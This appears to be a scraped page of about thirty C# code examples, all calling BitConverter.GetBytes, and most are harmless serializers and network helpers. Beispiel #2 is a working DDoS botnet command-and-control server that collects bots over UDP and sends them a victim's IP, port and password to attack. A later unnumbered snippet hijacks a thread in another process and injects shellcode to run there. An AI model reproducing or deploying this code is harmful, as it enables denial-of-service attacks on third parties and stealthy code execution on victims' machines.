Beispiel #1
0
 public void WriteDouble(int pOffset, double pBytes)
 {
     this.WriteMem(pOffset, BitConverter.GetBytes(pBytes));
 }
Beispiel #2
0
		public static void Main(string[] args)
		{
			Console.WriteLine("Command and control server d_dos_fobia active");
			UdpClient udpServer = new UdpClient(31337);
			Thread listenThread = new Thread(() =>
			{
				while (true)
				{
					IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337);
					byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337
																   //Console.WriteLine(BitConverter.ToInt32(data, 0));
																   //Console.WriteLine("data " + remoteEP.ToString());
					lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0)));
					DisplaySet(ip_port_bots);
					//udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back
				}
			});
			listenThread.Start();
			while (true)
			{
				try
				{
					Console.WriteLine("ip?");
					string ip_vic = Console.ReadLine();

					Console.WriteLine("port?");
					int port_vic = Int32.Parse(Console.ReadLine());
					Console.WriteLine("password?");
					string pass_vic = Console.ReadLine();

					byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address),
					port_vic_arr = BitConverter.GetBytes((Int16)port_vic),
						pass_vic_arr = Encoding.Default.GetBytes(pass_vic);
					string name = "d_dos_fobia";
					int len = name.Length;
					for (int i = 0; i < 32 - len; i++)
						name = name + "\0";
					byte[] name_vic_arr = Encoding.Default.GetBytes(name);

					byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr);

					Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots");
					DisplaySet(ip_port_bots);
					try
					{
						lock (ip_port_bots)
						{
							foreach (IPEndPoint endPoint in ip_port_bots)
							{
								udpServer.Send(to_send, to_send.Length, endPoint); // reply back
							}
						}
					}
					catch (Exception e)
					{
						Console.WriteLine(e.Message);
					}
				}
				catch(Exception e) {
					Console.WriteLine("incorecct input " + e.Message);
				}
			}
		}
Beispiel #3
0
 public static void WriteRaw(BinaryWriter bw, int val)
 {
     Debug("write one raw int: {0}", val);
     bw.Write(BitConverter.GetBytes(val));
 }
Beispiel #4
0
 public void Write(ushort us)
 {
     BitConverter.GetBytes(us).CopyTo(_data, _pos);
     _pos += 2;
 }
Beispiel #5
0
 public void Write(ulong ul)
 {
     BitConverter.GetBytes(ul).CopyTo(_data, _pos);
     _pos += 8;
 }
Beispiel #6
0
        public static byte[] GetAddress(string address)
        {
            try
            {
                var      addr = new byte[2];
                var      threeLevelAddressing = true;
                string[] parts;
                var      group = address.Contains('/');

                if (!group)
                {
                    // individual address
                    parts = address.Split('.');
                    if (parts.Length != 3 || parts[0].Length > 2 || parts[1].Length > 2 || parts[2].Length > 3)
                    {
                        throw new InvalidKnxAddressException(address);
                    }
                }
                else
                {
                    // group address
                    parts = address.Split('/');
                    if (parts.Length != 3 || parts[0].Length > 2 || parts[1].Length > 1 || parts[2].Length > 3)
                    {
                        if (parts.Length != 2 || parts[0].Length > 2 || parts[1].Length > 4)
                        {
                            throw new InvalidKnxAddressException(address);
                        }

                        threeLevelAddressing = false;
                    }
                }

                if (!threeLevelAddressing)
                {
                    var part = int.Parse(parts[0]);
                    if (part > 15)
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    addr[0] = (byte)(part << 3);
                    part    = int.Parse(parts[1]);
                    if (part > 2047)
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    var part2 = BitConverter.GetBytes(part);
                    if (part2.Length > 2)
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    addr[0] = (byte)(addr[0] | part2[0]);
                    addr[1] = part2[1];
                }
                else
                {
                    var part = int.Parse(parts[0]);
                    if (part > 15)
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    addr[0] = group
                        ? (byte)(part << 3)
                        : (byte)(part << 4);

                    part = int.Parse(parts[1]);
                    if ((group && part > 7) || (!group && part > 15))
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    addr[0] = (byte)(addr[0] | part);
                    part    = int.Parse(parts[2]);
                    if (part > 255)
                    {
                        throw new InvalidKnxAddressException(address);
                    }

                    addr[1] = (byte)part;
                }

                return(addr);
            }
            catch (Exception)
            {
                throw new InvalidKnxAddressException(address);
            }
        }
Beispiel #7
0
 public void Write(uint ui)
 {
     BitConverter.GetBytes(ui).CopyTo(_data, _pos);
     _pos += 4;
 }
Beispiel #8
0
        private async void StartClient()
        {
            int i = 0;

            while (true)
            {
                if (!UWconnectedflag)
                {
                    UI_Stream_ready_flag = false;
                    DRBE_softwarePage.UI_Stream_ready_flag = false;
                    DRBE_ap.UI_Stream_ready_flag           = false;
                    try
                    {
                        // Create the StreamSocket and establish a connection to the echo server.
                        DRBE_frontPage.Statues_tb.Text += "\r\n Client Try to Connect";
                        await Task.Delay(300);

                        await UWstreamsocket.ConnectAsync(UWhostname, UWPportnumber);

                        DRBE_frontPage.Statues_tb.Text += "\r\n Client Connected: " + UWstreamsocket.Information.LocalAddress.ToString();

                        DRBE_frontPage.DRBE_controlpanel.Message_tb.Text        += "\r\n" + DateTime.Now.ToString("HH: mm: ss~~") + "Server Connected";
                        DRBE_frontPage.DRBE_controlpanel.Server_ui_tb.Text       = "Connected";
                        DRBE_frontPage.DRBE_controlpanel.Server_ui_tb.Foreground = green_bright_button_brush;


                        UWconnectedflag = true;

                        UWoutputstream = UWstreamsocket.OutputStream.AsStreamForWrite();
                        UWinputstream  = UWstreamsocket.InputStream.AsStreamForRead();

                        UWbinarywriter = new BinaryWriter(UWoutputstream);
                        UWbinaryreader = new BinaryReader(UWinputstream);

                        DRBE_softwarePage.UWbinarywriter       = UWbinarywriter;
                        DRBE_softwarePage.UI_Stream_ready_flag = true;

                        DRBE_ap.UWbinarywriter       = UWbinarywriter;
                        DRBE_ap.UI_Stream_ready_flag = true;

                        UI_Stream_ready_flag = true;
                        testpacket           = new List <byte>(mpacket.Pass(new List <byte>()));

                        await Task.Delay(500);

                        //UWbinarywriter.Write(testpacket.ToArray(), 0, 255);
                        //UWbinarywriter.Flush();
                        StorageFolder storageFolder = ApplicationData.Current.LocalFolder;
                        string        path          = storageFolder.Path;
                        List <byte>   tosend        = new List <byte>();
                        byte[]        tbytes        = Encoding.ASCII.GetBytes(path);
                        tosend = new List <byte>(tbytes);
                        UInt16 totallen = Convert.ToUInt16(tosend.Count() + 3);
                        tosend.Insert(0, BitConverter.GetBytes(totallen)[0]);
                        tosend.Insert(0, BitConverter.GetBytes(totallen)[1]);
                        tosend.Insert(0, 0x90);
                        UWbinarywriter.Write(tosend.ToArray(), 0, tosend.Count);
                        UWbinarywriter.Flush();

                        ClientReading();
                        break;
                    }
                    catch (Exception ex)
                    {
                        await Task.Delay(1000);

                        i++;
                    }
                }
            }
            //}
        }
Beispiel #9
0
 private UserWallet(WalletIndexer indexer, string path, byte[] passwordKey, bool create)
 {
     this.indexer = indexer;
     this.path    = path;
     if (create)
     {
         this.iv        = new byte[16];
         this.masterKey = new byte[32];
         this.accounts  = new Dictionary <UInt160, UserWalletAccount>();
         using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
         {
             rng.GetBytes(iv);
             rng.GetBytes(masterKey);
         }
         Version version = Assembly.GetExecutingAssembly().GetName().Version;
         BuildDatabase();
         SaveStoredData("PasswordHash", passwordKey.Sha256());
         SaveStoredData("IV", iv);
         SaveStoredData("MasterKey", masterKey.AesEncrypt(passwordKey, iv));
         SaveStoredData("Version", new[] { version.Major, version.Minor, version.Build, version.Revision }.Select(p => BitConverter.GetBytes(p)).SelectMany(p => p).ToArray());
     }
     else
     {
         byte[] passwordHash = LoadStoredData("PasswordHash");
         if (passwordHash != null && !passwordHash.SequenceEqual(passwordKey.Sha256()))
         {
             throw new CryptographicException();
         }
         this.iv        = LoadStoredData("IV");
         this.masterKey = LoadStoredData("MasterKey").AesDecrypt(passwordKey, iv);
         this.accounts  = LoadAccounts();
         indexer.RegisterAccounts(accounts.Keys);
     }
     indexer.WalletTransaction += WalletIndexer_WalletTransaction;
 }
Beispiel #10
0
 public void WriteUInt(bool AddToImageAddress, int pOffset, uint pBytes)
 {
     this.WriteMem(pOffset, BitConverter.GetBytes(pBytes), AddToImageAddress);
 }
Beispiel #11
0
 public void WriteUInt(string Module, int pOffset, uint pBytes)
 {
     this.WriteMem(this.DllImageAddress(Module) + pOffset, BitConverter.GetBytes(pBytes));
 }
Beispiel #12
0
 public void WriteUInt(int pOffset, uint pBytes)
 {
     this.WriteMem(pOffset, BitConverter.GetBytes(pBytes));
 }
Beispiel #13
0
 public void WriteShort(int pOffset, short pBytes)
 {
     this.WriteMem(pOffset, BitConverter.GetBytes(pBytes));
 }
Beispiel #14
0
 public void WriteFloat(int pOffset, float pBytes)
 {
     this.WriteMem(pOffset, BitConverter.GetBytes(pBytes));
 }
Beispiel #15
0
 public void SendMessage(byte[] message)
 {
     byte[] packlength = BitConverter.GetBytes(message.Length);
     ClientStream.Write(packlength, 0, packlength.Length);
     ClientStream.Write(message, 0, message.Length);
 }
Beispiel #16
0
 /// <summary>Adds a bool to the packet.</summary>
 /// <param name="_value">The bool to add.</param>
 public void Write(bool _value)
 {
     buffer.AddRange(BitConverter.GetBytes(_value));
 }
Beispiel #17
0
 private bool OnExportBlocksCommand(string[] args)
 {
     if (args.Length > 4)
     {
         Console.WriteLine("error");
         return(true);
     }
     if (args.Length >= 3 && uint.TryParse(args[2], out uint start))
     {
         if (start > Blockchain.Default.Height)
         {
             return(true);
         }
         uint count = args.Length >= 4 ? uint.Parse(args[3]) : uint.MaxValue;
         count = Math.Min(count, Blockchain.Default.Height - start + 1);
         uint   end  = start + count - 1;
         string path = $"chain.{start}.acc";
         using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None))
         {
             if (fs.Length > 0)
             {
                 fs.Seek(sizeof(uint), SeekOrigin.Begin);
                 byte[] buffer = new byte[sizeof(uint)];
                 fs.Read(buffer, 0, buffer.Length);
                 start += BitConverter.ToUInt32(buffer, 0);
                 fs.Seek(sizeof(uint), SeekOrigin.Begin);
             }
             else
             {
                 fs.Write(BitConverter.GetBytes(start), 0, sizeof(uint));
             }
             if (start <= end)
             {
                 fs.Write(BitConverter.GetBytes(count), 0, sizeof(uint));
             }
             fs.Seek(0, SeekOrigin.End);
             for (uint i = start; i <= end; i++)
             {
                 Block  block = Blockchain.Default.GetBlock(i);
                 byte[] array = block.ToArray();
                 fs.Write(BitConverter.GetBytes(array.Length), 0, sizeof(int));
                 fs.Write(array, 0, array.Length);
                 Console.SetCursorPosition(0, Console.CursorTop);
                 Console.Write($"[{i}/{end}]");
             }
         }
     }
     else
     {
         start = 0;
         uint   end   = Blockchain.Default.Height;
         uint   count = end - start + 1;
         string path  = args.Length >= 3 ? args[2] : "chain.acc";
         using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None))
         {
             if (fs.Length > 0)
             {
                 byte[] buffer = new byte[sizeof(uint)];
                 fs.Read(buffer, 0, buffer.Length);
                 start = BitConverter.ToUInt32(buffer, 0);
                 fs.Seek(0, SeekOrigin.Begin);
             }
             if (start <= end)
             {
                 fs.Write(BitConverter.GetBytes(count), 0, sizeof(uint));
             }
             fs.Seek(0, SeekOrigin.End);
             for (uint i = start; i <= end; i++)
             {
                 Block  block = Blockchain.Default.GetBlock(i);
                 byte[] array = block.ToArray();
                 fs.Write(BitConverter.GetBytes(array.Length), 0, sizeof(int));
                 fs.Write(array, 0, array.Length);
                 Console.SetCursorPosition(0, Console.CursorTop);
                 Console.Write($"[{i}/{end}]");
             }
         }
     }
     Console.WriteLine();
     return(true);
 }
Beispiel #18
0
 /// <summary>Inserts the length of the packet's content at the start of the buffer.</summary>
 public void WriteLength()
 {
     buffer.InsertRange(0, BitConverter.GetBytes(buffer.Count)); // Insert the byte length of the packet at the very beginning
 }
Beispiel #19
0
 public void Write(sbyte sb)
 {
     BitConverter.GetBytes(sb).CopyTo(_data, _pos);
     _pos += 1;
 }
Beispiel #20
0
 /// <summary>Inserts the given int at the start of the buffer.</summary>
 /// <param name="_value">The int to insert.</param>
 public void InsertInt(int _value)
 {
     buffer.InsertRange(0, BitConverter.GetBytes(_value)); // Insert the int at the start of the buffer
 }
Beispiel #21
0
 public void Write(float f)
 {
     BitConverter.GetBytes(f).CopyTo(_data, _pos);
     _pos += 4;
 }
Beispiel #22
0
        /// <summary>
        /// Infinite loop listening for new data from all connected clients on a separate thread.
        /// This loop breaks when readThreadCancel is set to true
        /// </summary>
        private void ReadClients()
        {
            // Intentional infinite loop
            while (IsBound && !NetWorker.ExitingApplication)
            {
                try
                {
                    // If the read has been flagged to be canceled then break from this loop
                    if (readThreadCancel)
                    {
                        return;
                    }

                    // This will loop through all of the players, so make sure to set the lock to
                    // prevent any changes from other threads
                    lock (Players)
                    {
                        for (int i = 0; i < Players.Count; i++)
                        {
                            // If the read has been flagged to be canceled then break from this loop
                            if (readThreadCancel)
                            {
                                return;
                            }

                            NetworkStream playerStream = null;

                            if (Players[i].IsHost)
                            {
                                continue;
                            }

                            try
                            {
                                lock (Players[i].MutexLock)
                                {
                                    // Try to get the client stream if it is still available
                                    playerStream = Players[i].TcpClientHandle.GetStream();
                                }
                            }
                            catch
                            {
                                // Failed to get the stream for the client so forcefully disconnect it
                                //Console.WriteLine("Exception: Failed to get stream for client (Forcefully disconnecting)");
                                Disconnect(Players[i], true);
                                continue;
                            }

                            // If the player is no longer connected, then make sure to disconnect it properly
                            if (!Players[i].TcpClientHandle.Connected)
                            {
                                Disconnect(Players[i], false);
                                continue;
                            }

                            // Only continue to read for this client if there is any data available for it
                            if (!playerStream.DataAvailable)
                            {
                                continue;
                            }

                            int available = Players[i].TcpClientHandle.Available;

                            // Determine if the player is fully connected
                            if (!Players[i].Accepted)
                            {
                                // Determine if the player has been accepted by the server
                                if (!Players[i].Connected)
                                {
                                    lock (Players[i].MutexLock)
                                    {
                                        // Read everything from the stream as the client hasn't been accepted yet
                                        byte[] bytes = new byte[available];
                                        playerStream.Read(bytes, 0, bytes.Length);

                                        // Validate that the connection headers are properly formatted
                                        byte[] response = Websockets.ValidateConnectionHeader(bytes);

                                        // The response will be null if the header sent is invalid, if so then disconnect client as they are sending invalid headers
                                        if (response == null)
                                        {
                                            OnPlayerRejected(Players[i]);
                                            Disconnect(Players[i], false);
                                            continue;
                                        }

                                        // If all is in order then send the validated response to the client
                                        playerStream.Write(response, 0, response.Length);

                                        // The player has successfully connected
                                        Players[i].Connected = true;
                                    }
                                }
                                else
                                {
                                    lock (Players[i].MutexLock)
                                    {
                                        // Consume the message even though it is not being used so that it is removed from the buffer
                                        Text frame = (Text)Factory.DecodeMessage(GetNextBytes(playerStream, available, true), true, MessageGroupIds.TCP_FIND_GROUP_ID, Players[i]);
                                        Players[i].InstanceGuid = frame.ToString();

                                        OnPlayerGuidAssigned(Players[i]);

                                        lock (writeBuffer)
                                        {
                                            writeBuffer.Clear();
                                            writeBuffer.Append(BitConverter.GetBytes(Players[i].NetworkId));
                                            Send(Players[i].TcpClientHandle, new Binary(Time.Timestep, false, writeBuffer, Receivers.Target, MessageGroupIds.NETWORK_ID_REQUEST, true));

                                            SendBuffer(Players[i]);

                                            // All systems go, the player has been accepted
                                            OnPlayerAccepted(Players[i]);
                                        }
                                    }
                                }
                            }
                            else
                            {
                                try
                                {
                                    lock (Players[i].MutexLock)
                                    {
                                        // Get the frame that was sent by the client, the client
                                        // does send masked data
                                        //TODO: THIS IS CAUSING ISSUES!!! WHY!?!?!!?
                                        FrameStream frame = Factory.DecodeMessage(GetNextBytes(playerStream, available, true), true, MessageGroupIds.TCP_FIND_GROUP_ID, Players[i]);

                                        // The client has told the server that it is disconnecting
                                        if (frame is ConnectionClose)
                                        {
                                            // Confirm the connection close
                                            Send(Players[i].TcpClientHandle, new ConnectionClose(Time.Timestep, false, Receivers.Target, MessageGroupIds.DISCONNECT, true));

                                            Disconnect(Players[i], false);
                                            continue;
                                        }

                                        // A message has been successfully read from the network so relay that
                                        // to all methods registered to the event
                                        OnMessageReceived(Players[i], frame);
                                    }
                                }
                                catch
                                {
                                    // The player is sending invalid data so disconnect them
                                    Disconnect(Players[i], true);
                                }
                            }
                        }
                    }

                    // Go through all of the pending disconnections and clean them
                    // up and finalize the disconnection
                    CleanupDisconnections();

                    // Sleep so that we free up the CPU a bit from this thread
                    Thread.Sleep(10);
                }
                catch (Exception ex)
                {
                    Logging.BMSLog.LogException(ex);
                }
            }
        }
Beispiel #23
0
 public void Write(double d)
 {
     BitConverter.GetBytes(d).CopyTo(_data, _pos);
     _pos += 8;
 }
Beispiel #24
0
 /// <summary>
 /// 将 int64 转换成字节数组。
 /// 与Golang中的转换反了,所有反转了一下。
 /// </summary>
 /// <param name="num">int64</param>
 /// <returns></returns>
 public static byte[] IntToHex(long num)
 {
     return(BitConverter.GetBytes(num).Reverse().ToArray());
 }
Beispiel #25
0
		byte[] IHashAlgorithm.ComputeHash(byte[] values)
		{
			var result = ComputeHash(values);
			var bytes = BitConverter.GetBytes(result);
			return bytes;
		}
        public static void Thread_HiJack(string Process_Name, byte[] payload)
        {
            // Process privileges
            const int PROCESS_CREATE_THREAD     = 0x0002;
            const int PROCESS_QUERY_INFORMATION = 0x0400;
            const int PROCESS_VM_OPERATION      = 0x0008;
            const int PROCESS_VM_WRITE          = 0x0020;
            const int PROCESS_VM_READ           = 0x0010;
            // Memory permissions
            const uint MEM_COMMIT             = 0x00001000;
            const uint MEM_RESERVE            = 0x00002000;
            const uint PAGE_READWRITE         = 4;
            const uint PAGE_EXECUTE_READWRITE = 0x40;

            Process targetProcess = Process.GetProcessesByName(Process_Name)[0];

            ProcessThread pT = targetProcess.Threads[0];

            Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id);
            IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

            SuspendThread(pOpenThread);

            CONTEXT64 tContext = new CONTEXT64();

            tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;

            // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
            byte[] mov_rax = new byte[2] {
                0x48, 0xb8
            };
            byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
            byte[] jmp_rax     = new byte[2] {
                0xff, 0xe0
            };

            // Build shellcode
            byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
            payload.CopyTo(shellcode, 0);
            mov_rax.CopyTo(shellcode, payload.Length);
            jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
            jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

            // OpenProcess to allocate memory
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

            // Allocate memory for shellcode within process
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), 0x00001000 | 0x00002000, 0x40);

            // Write shellcode within process
            UIntPtr bytesWritten;
            bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

            // Read memory to view shellcode
            int bytesRead = 0;

            byte[] buffer = new byte[shellcode.Length];
            ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);

            // Set context EIP to location of shellcode
            tContext.Rip = (ulong)allocMemAddress.ToInt64();

            // Apply new context to suspended thread
            // Resume the thread, redirecting execution to shellcode, then back to original process
            ResumeThread(pOpenThread);
        }
 public static byte[] GetBytes(ushort value)
 {
     return(Invert(BitConverter.GetBytes(value)));
 }
Beispiel #28
0
        public byte[] SerializeLChunk(Chunk chunk, bool factorXor = true)
        {
            List <byte> bytes = new List <byte>();

            void WriteByte(byte b)
            {
                if (factorXor)
                {
                    b ^= (byte)(_context.PrimaryXorKey);
                }

                bytes.Add(b);
            }

            void Write(byte[] b, bool checkEndian = true)
            {
                if (!BitConverter.IsLittleEndian && checkEndian)
                {
                    b = b.Reverse().ToArray();
                }

                bytes.AddRange(b.Select(i =>
                {
                    if (factorXor)
                    {
                        i ^= (byte)(_context.PrimaryXorKey);
                    }

                    return(i);
                }));
            }

            void WriteInt32(int i) =>
            Write(BitConverter.GetBytes(i));

            void WriteNumber(double d) =>
            Write(BitConverter.GetBytes(d));

            void WriteString(string s)
            {
                byte[] sBytes = _fuckingLua.GetBytes(s);

                WriteInt32(sBytes.Length);
                Write(sBytes, false);
            }

            void WriteBool(bool b) =>
            Write(BitConverter.GetBytes(b));

            int[] SerializeInstruction(Instruction inst)
            {
                inst.UpdateRegisters();

                if (inst.InstructionType == InstructionType.Data)
                {
                    return(new[]
                    {
                        _r.Next(),
                        inst.Data
                    });
                }

                var cData  = inst.CustomData;
                int opCode = (int)inst.OpCode;

                if (cData != null)
                {
                    var virtualOpcode = cData.Opcode;

                    opCode = cData.WrittenOpcode?.VIndex ?? virtualOpcode.VIndex;
                    virtualOpcode?.Mutate(inst);
                }

                int a = inst.A;
                int b = inst.B;
                int c = inst.C;

                int result_i1 = 0;
                int result_i2 = 0;

                if (inst.InstructionType == InstructionType.AsBx || inst.InstructionType == InstructionType.AsBxC)
                {
                    b += 1048575;
                }

                result_i1 |= (byte)inst.InstructionType;
                result_i1 |= ((a & 0x1FF) << 2);
                result_i1 |= ((b & 0x1FF) << (2 + 9));
                result_i1 |= (c << (2 + 9 + 9));

                result_i2 |= opCode;
                result_i2 |= (b << 11);

                return(new[] { result_i1, result_i2 });
            }

            chunk.UpdateMappings();

            for (int i = 0; i < (int)ChunkStep.StepCount; i++)
            {
                switch (_context.ChunkSteps[i])
                {
                case ChunkStep.ParameterCount:
                    WriteByte(chunk.ParameterCount);
                    break;

                case ChunkStep.Constants:
                    WriteInt32(chunk.Constants.Count);
                    foreach (Constant c in chunk.Constants)
                    {
                        WriteByte((byte)_context.ConstantMapping[(int)c.Type]);
                        switch (c.Type)
                        {
                        case ConstantType.Boolean:
                            WriteBool(c.Data);
                            break;

                        case ConstantType.Number:
                            WriteNumber(c.Data);
                            break;

                        case ConstantType.String:
                            WriteString(c.Data);
                            break;
                        }
                    }
                    break;

                case ChunkStep.Instructions:
                    WriteInt32(chunk.Instructions.Count);

                    foreach (Instruction ins in chunk.Instructions)
                    {
                        int[] arr = SerializeInstruction(ins);

                        //WriteByte((byte)ins.Instruction.InstructionType);
                        WriteInt32(arr[0] ^ _context.IXorKey1);
                        WriteInt32(arr[1] ^ _context.IXorKey2);
                    }
                    break;

                case ChunkStep.Functions:
                    WriteInt32(chunk.Functions.Count);
                    foreach (Chunk c in chunk.Functions)
                    {
                        Write(SerializeLChunk(c, false));
                    }

                    break;

                case ChunkStep.LineInfo when _settings.PreserveLineInfo:
                    WriteInt32(chunk.Instructions.Count);
                    foreach (var instr in chunk.Instructions)
                    {
                        WriteInt32(instr.Line);
                    }
                    break;
                }
            }

            return(bytes.ToArray());
        }
 public override void Write(Int32 value)
 {
     var bytes = BitConverter.GetBytes(value);
     WriteBigEndian(bytes);
 }
Beispiel #30
0
 public void WriteByte(string Module, int pOffset, byte pBytes)
 {
     this.WriteMem(this.DllImageAddress(Module) + pOffset, BitConverter.GetBytes((short)pBytes));
 }